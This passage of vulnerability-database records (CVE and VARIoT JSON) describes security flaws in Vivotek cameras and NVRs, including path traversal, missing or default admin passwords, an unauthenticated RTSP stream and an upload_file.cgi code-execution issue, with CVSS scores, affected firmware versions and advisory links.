"defaultStatus": "unknown",
"product": "IP7137",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0200a",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Szymon Paszun"
}
],
"datePublic": "2026-01-09T11:22:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003eVivotek IP7137 camera with firmware version 0200a is vulnerable to path traversal. I\u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003et is possible for an authenticated attacker to access resources beyond webroot directory using a\u0026nbsp;\u003c/span\u003edirect HTTP request. Due to\u0026nbsp;CVE-2025-66050, a password for administration panel is not set \u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003eby default\u003c/span\u003e.\u003cbr\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vendor has not replied to the CNA. Possibly all firmware versions are affected. \u003c/span\u003eSince the product has met End-Of-Life phase, a fix is not expected to be released. \u003cbr\u003e\u003cbr\u003e"
}
],
"value": "Vivotek IP7137 camera with firmware version 0200a is vulnerable to path traversal. It is possible for an authenticated attacker to access resources beyond webroot directory using a\u00a0direct HTTP request. Due to\u00a0CVE-2025-66050, a password for administration panel is not set by default.\nThe vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"impacts": [
{
"capecId": "CAPEC-139",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-139 Relative Path Traversal"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "HIGH",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T11:54:09.170Z",
"orgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"shortName": "CERT-PL"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://cert.pl/posts/2026/01/CVE-2025-66049"
}
],
"source": {
"discovery": "EXTERNAL"
},
"tags": [
"unsupported-when-assigned"
],
"title": "Path traversal in Vivotek IP7137 cameras",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"assignerShortName": "CERT-PL",
"cveId": "CVE-2025-66051",
"datePublished": "2026-01-09T11:54:09.170Z",
"dateReserved": "2025-11-21T10:41:30.020Z",
"dateUpdated": "2026-01-09T14:07:13.457Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-66050 (GCVE-0-2025-66050)
Vulnerability from cvelistv5 – Published: 2026-01-09 11:53 – Updated: 2026-01-09 14:08 Unsupported When Assigned
VLAI
EPSS
VEX
Title
No password set for administrative account in Vivotek IP7137 cameras
Summary
Vivotek IP7137 camera with firmware version 0200a by default dos not require to provide any password when logging in as an administrator. While it is possible to set up such a password, a user is not informed about such a need.
The vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-1393 - Use of Default Password
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://cert.pl/posts/2026/01/CVE-2025-66049 | third-party-advisory |
Date Public
2026-01-09 11:50
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-66050",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-09T14:07:49.180246Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T14:08:08.233Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"product": "IP7137",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0200a",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Szymon Paszun"
}
],
"datePublic": "2026-01-09T11:50:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003eVivotek IP7137 camera with firmware version 0200a by default dos not require to provide any password when logging in as an administrator. While it is possible to set up such a password, a user is not informed about such a need.\u003cbr\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vendor has not replied to the CNA. Possibly all firmware versions are affected. \u003c/span\u003eSince the product has met End-Of-Life phase, a fix is not expected to be released. \u003cbr\u003e"
}
],
"value": "Vivotek IP7137 camera with firmware version 0200a by default dos not require to provide any password when logging in as an administrator. While it is possible to set up such a password, a user is not informed about such a need.\nThe vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1393",
"description": "CWE-1393 Use of Default Password",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T11:53:45.338Z",
"orgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"shortName": "CERT-PL"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://cert.pl/posts/2026/01/CVE-2025-66049"
}
],
"source": {
"discovery": "EXTERNAL"
},
"tags": [
"unsupported-when-assigned"
],
"title": "No password set for administrative account in Vivotek IP7137 cameras",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"assignerShortName": "CERT-PL",
"cveId": "CVE-2025-66050",
"datePublished": "2026-01-09T11:53:45.338Z",
"dateReserved": "2025-11-21T10:41:30.020Z",
"dateUpdated": "2026-01-09T14:08:08.233Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-66049 (GCVE-0-2025-66049)
Vulnerability from cvelistv5 – Published: 2026-01-09 11:53 – Updated: 2026-01-09 16:22 Unsupported When Assigned
VLAI
EPSS
VEX
Title
Unprotected RTSP stream in Vivotek IP7137 cameras
Summary
Vivotek IP7137 camera with firmware version 0200a is vulnerable to an information disclosure issue where live camera footage can be accessed through the RTSP protocol on port 8554 without requiring authentication. This allows unauthorized users with network access to view the camera's feed, potentially compromising user privacy and security.
The vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://cert.pl/posts/2026/01/CVE-2025-66049 | third-party-advisory |
Date Public
2026-01-09 11:50
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-66049",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-09T16:22:03.331793Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T16:22:19.535Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"product": "IP7137",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0200a",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Szymon Paszun"
}
],
"datePublic": "2026-01-09T11:50:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003eVivotek\u0026nbsp;IP7137\u0026nbsp;camera with firmware version\u0026nbsp;0200a is vulnerable to an information disclosure issue where live camera footage can be accessed through the RTSP protocol on port 8554 without requiring authentication. This allows unauthorized users with network access to view the camera\u0027s feed, potentially compromising user privacy and security.\u0026nbsp;\u003cbr\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vendor has not replied to the CNA. Possibly all firmware versions are affected.\u0026nbsp;\u003c/span\u003eSince the product has met End-Of-Life phase, a fix is not expected to be released.\u0026nbsp;"
}
],
"value": "Vivotek\u00a0IP7137\u00a0camera with firmware version\u00a00200a is vulnerable to an information disclosure issue where live camera footage can be accessed through the RTSP protocol on port 8554 without requiring authentication. This allows unauthorized users with network access to view the camera\u0027s feed, potentially compromising user privacy and security.\u00a0\nThe vendor has not replied to the CNA. Possibly all firmware versions are affected.\u00a0Since the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T11:53:41.060Z",
"orgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"shortName": "CERT-PL"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://cert.pl/posts/2026/01/CVE-2025-66049"
}
],
"source": {
"discovery": "EXTERNAL"
},
"tags": [
"unsupported-when-assigned"
],
"title": "Unprotected RTSP stream in Vivotek\u00a0IP7137 cameras",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"assignerShortName": "CERT-PL",
"cveId": "CVE-2025-66049",
"datePublished": "2026-01-09T11:53:41.060Z",
"dateReserved": "2025-11-21T10:41:30.019Z",
"dateUpdated": "2026-01-09T16:22:19.535Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-12592 (GCVE-0-2025-12592)
Vulnerability from cvelistv5 – Published: 2025-11-19 12:30 – Updated: 2025-11-19 16:07
VLAI
EPSS
VEX
Title
Use of default login credentials in Legacy Vivotek Devices
Summary
Legacy Vivotek Device firmware uses default credetials for the root and user login accounts.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-1392 - CWE-1392: Use of Default Credentials
Assigner
References
Impacted products
1 product
Date Public
2025-11-02 17:00
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-12592",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-11-19T16:07:31.532330Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-11-19T16:07:56.677Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://ftpmirror.your.org/pub/misc/ftp.vivotek.com/Firmware/",
"defaultStatus": "unaffected",
"modules": [
"Firmware"
],
"product": "Affected device model numbers are FD7131-VVTK,FD7131-VVTK,FD7131-VVTK,FD7141-VVTK,IP7131-VVTK,IP7133-VVTK,IP7133-VVTK,IP7133-VVTK,IP7134-VVTK,IP7135-VVTK,IP7135-VVTK,IP7135-VVTK,IP7135-VVTK,IP7137-VVTK,IP7137-VVTK,IP7137-VVTK,IP7137-VVTK,IP7137-VVTK,IP7137-VVTK,IP7138-VVTK,IP7142-VVTK,IP7142-VVTK,IP7151-VVTK,IP7152-VVTK,IP7153-VVTK,IP7153-VVTK,IP7154-VVTK,IP7330-VVTK,IP7330-VVTK,IP7330-VVTK,IP8131-VVTK,IP8131-VVTK,IP8131-VVTK,IP8131W-VVTK,PT7135-VVTK,PT7137-TCON,PT7137-VVTK,PT7137-VVTK,PT7137-VVTK,PT7137-VVTK,PZ7131-VVTK,PZ7131-VVTK,PZ71X1-VVTK,PZ71X1-VVTK,PZ71X2-VVTK,SD73X3-VVTK,SD73X3-VVTK,SD73X3-VVTK,TC5330-VVTK,TC5332-TCVV,TC5333-TCVV,TC5633-TCVV,TC5633-VVTK,VS7100-VVTK,VS7100-VVTK,VS7100-VVTK",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0100b",
"versionType": "custom"
},
{
"status": "affected",
"version": "0100e"
},
{
"status": "affected",
"version": "0100e1"
},
{
"status": "affected",
"version": "0100e2"
},
{
"status": "affected",
"version": "0100f"
},
{
"status": "affected",
"version": "0100g"
},
{
"status": "affected",
"version": "0100i"
},
{
"status": "affected",
"version": "0101c"
},
{
"status": "affected",
"version": "0103c"
},
{
"status": "affected",
"version": "0199z"
},
{
"status": "affected",
"version": "0200a"
},
{
"status": "affected",
"version": "0200b"
},
{
"status": "affected",
"version": "0200c"
},
{
"status": "affected",
"version": "0200g"
},
{
"status": "affected",
"version": "0201a"
},
{
"status": "affected",
"version": "0201a1"
},
{
"status": "affected",
"version": "0201c"
},
{
"status": "affected",
"version": "0201k"
},
{
"status": "affected",
"version": "0202a"
},
{
"status": "affected",
"version": "0202b"
},
{
"status": "affected",
"version": "0203a"
},
{
"status": "affected",
"version": "0300a"
},
{
"status": "affected",
"version": "0300b"
},
{
"status": "affected",
"version": "0301b3"
},
{
"status": "affected",
"version": "0302a"
},
{
"status": "affected",
"version": "0302c"
},
{
"status": "affected",
"version": "0400a"
},
{
"status": "affected",
"version": "0400b"
},
{
"status": "affected",
"version": "0401a"
},
{
"status": "affected",
"version": "0500a"
},
{
"status": "affected",
"version": "0500b"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Larry W. Cashdollar"
}
],
"datePublic": "2025-11-02T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Legacy Vivotek Device firmware uses default credetials for the root and user login accounts."
}
],
"value": "Legacy Vivotek Device firmware uses default credetials for the root and user login accounts."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Public"
}
],
"value": "Public"
}
],
"impacts": [
{
"capecId": "CAPEC-70",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-70 Try Common or Default Usernames and Passwords"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "YES",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "PROOF_OF_CONCEPT",
"privilegesRequired": "NONE",
"providerUrgency": "RED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/AU:Y/U:Red",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1392",
"description": "CWE-1392 CWE-1392: Use of Default Credentials",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-11-19T12:30:32.854Z",
"orgId": "461b2335-328f-427d-ae3d-eff7d6814455",
"shortName": "larry_cashdollar"
},
"references": [
{
"url": "https://www.akamai.com/blog/security-research/rce-zero-day-in-legacy-vivotek-firmware"
},
{
"url": "http://www.vapidlabs.com/advisory.php?v=219"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Use of default login credentials in Legacy Vivotek Devices",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "461b2335-328f-427d-ae3d-eff7d6814455",
"assignerShortName": "larry_cashdollar",
"cveId": "CVE-2025-12592",
"datePublished": "2025-11-19T12:30:32.854Z",
"dateReserved": "2025-11-01T12:15:08.915Z",
"dateUpdated": "2025-11-19T16:07:56.677Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-3403 (GCVE-0-2025-3403)
Vulnerability from cvelistv5 – Published: 2025-04-08 03:00 – Updated: 2025-04-08 18:24
VLAI
EPSS
VEX
Title
Vivotek NVR ND8422P/NVR ND9525P/NVR ND9541P HTML Form sensitive information in source
Summary
A vulnerability was found in Vivotek NVR ND8422P, NVR ND9525P and NVR ND9541P 2.4.0.204/3.3.0.104/4.2.0.101. It has been classified as problematic. Affected is an unknown function of the component HTML Form Handler. The manipulation leads to inclusion of sensitive information in source code. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuldb.com/?id.303648 | vdb-entry |
| https://vuldb.com/?ctiid.303648 | signaturepermissions-required |
| https://vuldb.com/?submit.543589 | third-party-advisory |
| https://github.com/lfparizzi/CVE-VIVOTEK-ID/blob/… | exploit |
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Vivotek | NVR ND8422P |
Affected:
2.4.0.204
Affected: 3.3.0.104 Affected: 4.2.0.101 |
|
| Vivotek | NVR ND9525P |
Affected:
2.4.0.204
Affected: 3.3.0.104 Affected: 4.2.0.101 |
|
| Vivotek | NVR ND9541P |
Affected:
2.4.0.204
Affected: 3.3.0.104 Affected: 4.2.0.101 |
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-3403",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-04-08T15:46:08.310718Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-04-08T18:24:22.074Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/lfparizzi/CVE-VIVOTEK-ID/blob/main/README.md"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"modules": [
"HTML Form Handler"
],
"product": "NVR ND8422P",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "2.4.0.204"
},
{
"status": "affected",
"version": "3.3.0.104"
},
{
"status": "affected",
"version": "4.2.0.101"
}
]
},
{
"modules": [
"HTML Form Handler"
],
"product": "NVR ND9525P",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "2.4.0.204"
},
{
"status": "affected",
"version": "3.3.0.104"
},
{
"status": "affected",
"version": "4.2.0.101"
}
]
},
{
"modules": [
"HTML Form Handler"
],
"product": "NVR ND9541P",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "2.4.0.204"
},
{
"status": "affected",
"version": "3.3.0.104"
},
{
"status": "affected",
"version": "4.2.0.101"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Syrtain (VulDB User)"
}
],
"descriptions": [
{
"lang": "en",
"value": "A vulnerability was found in Vivotek NVR ND8422P, NVR ND9525P and NVR ND9541P 2.4.0.204/3.3.0.104/4.2.0.101. It has been classified as problematic. Affected is an unknown function of the component HTML Form Handler. The manipulation leads to inclusion of sensitive information in source code. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."
},
{
"lang": "de",
"value": "Es wurde eine problematische Schwachstelle in Vivotek NVR ND8422P, NVR ND9525P and NVR ND9541P 2.4.0.204/3.3.0.104/4.2.0.101 ausgemacht. Dabei betrifft es einen unbekannter Codeteil der Komponente HTML Form Handler. Durch Manipulation mit unbekannten Daten kann eine inclusion of sensitive information in source code-Schwachstelle ausgenutzt werden. Die Umsetzung des Angriffs kann dabei \u00fcber das Netzwerk erfolgen. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung."
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
}
},
{
"cvssV3_1": {
"baseScore": 2.7,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
},
{
"cvssV3_0": {
"baseScore": 2.7,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"version": "3.0"
}
},
{
"cvssV2_0": {
"baseScore": 3.3,
"vectorString": "AV:N/AC:L/Au:M/C:P/I:N/A:N",
"version": "2.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-540",
"description": "Inclusion of Sensitive Information in Source Code",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "Information Disclosure",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-04-08T03:00:11.278Z",
"orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"shortName": "VulDB"
},
"references": [
{
"name": "VDB-303648 | Vivotek NVR ND8422P/NVR ND9525P/NVR ND9541P HTML Form sensitive information in source",
"tags": [
"vdb-entry"
],
"url": "https://vuldb.com/?id.303648"
},
{
"name": "VDB-303648 | CTI Indicators (IOB, IOC, TTP)",
"tags": [
"signature",
"permissions-required"
],
"url": "https://vuldb.com/?ctiid.303648"
},
{
"name": "Submit #543589 | VIVOTEK NVR Core + 4.2.0.101 and below Cleartext Storage of Sensitive Information in GUI",
"tags": [
"third-party-advisory"
],
"url": "https://vuldb.com/?submit.543589"
},
{
"tags": [
"exploit"
],
"url": "https://github.com/lfparizzi/CVE-VIVOTEK-ID/blob/main/README.md"
}
],
"timeline": [
{
"lang": "en",
"time": "2025-04-07T00:00:00.000Z",
"value": "Advisory disclosed"
},
{
"lang": "en",
"time": "2025-04-07T02:00:00.000Z",
"value": "VulDB entry created"
},
{
"lang": "en",
"time": "2025-04-07T12:27:05.000Z",
"value": "VulDB entry last update"
}
],
"title": "Vivotek NVR ND8422P/NVR ND9525P/NVR ND9541P HTML Form sensitive information in source"
}
},
"cveMetadata": {
"assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"assignerShortName": "VulDB",
"cveId": "CVE-2025-3403",
"datePublished": "2025-04-08T03:00:11.278Z",
"dateReserved": "2025-04-07T10:22:01.598Z",
"dateUpdated": "2025-04-08T18:24:22.074Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
VAR-202402-3037
Vulnerability from variot - Updated: 2025-05-17 23:24An issue in vivotek Network Camera v.FD8166A-VVTK-0204j allows a remote attacker to execute arbitrary code via a crafted payload to the upload_file.cgi component. VIVOTEK Inc. of FD8166A-VVTK-0204j There are unspecified vulnerabilities in the firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202402-3037",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "camera",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": "v.fd8166a-vvtk-0204j"
},
{
"model": "fd8166a-vvtk-0204j",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "fd8166a-vvtk-0204j firmware v.fd8166a-vvtk-0204j"
},
{
"model": "fd8166a-vvtk-0204j",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "fd8166a-vvtk-0204j",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2024-023848"
},
{
"db": "NVD",
"id": "CVE-2024-26548"
}
]
},
"cve": "CVE-2024-26548",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
